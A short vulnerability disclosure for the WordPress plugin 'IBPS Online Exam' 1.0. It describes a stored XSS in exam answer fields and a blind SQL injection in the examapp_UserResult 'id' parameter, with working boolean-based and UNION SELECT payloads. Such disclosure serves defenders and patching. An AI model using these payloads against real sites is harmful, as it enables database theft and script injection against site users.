WordPress Plugin IBPS Online Exam <= 1.0 - Authenticated SQL Injection / Cross-Site Scripting

Exploit Author: 8bitsec Contact Author: https://twitter.com/_8bitsec Stored XSS on exam input textfields and Blind SQL Injection on ‘examapp_UserResult’ page ‘id’ parameter.

PoC

• Authenticated Stored XSS: Logged as a student: Write the payload in the input textfields while attempting an exam. The payload will execute on My Results > View Details: https://localhost/wp-admin/admin.php?page=examapp_UserResult&amp;info;=view&amp;id;=[xx] * Blind SQL Injection Logged in as a student: https://localhost/wp-admin/admin.php?page=examapp_UserResult&amp;info;=view&amp;id;=79 and 1=1 Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: page=examapp_UserResult&info;=view&id;=78 AND 6705=6705 Type: UNION query Title: Generic UNION query (NULL) - 17 columns Payload: page=examapp_UserResult&info;=view&id;=-4748 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178716b71,0x6b4c5247597261614e73447378544741764b4f7172597a5a58494551685a7056644d6e595773496e,0x7162787671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- KttP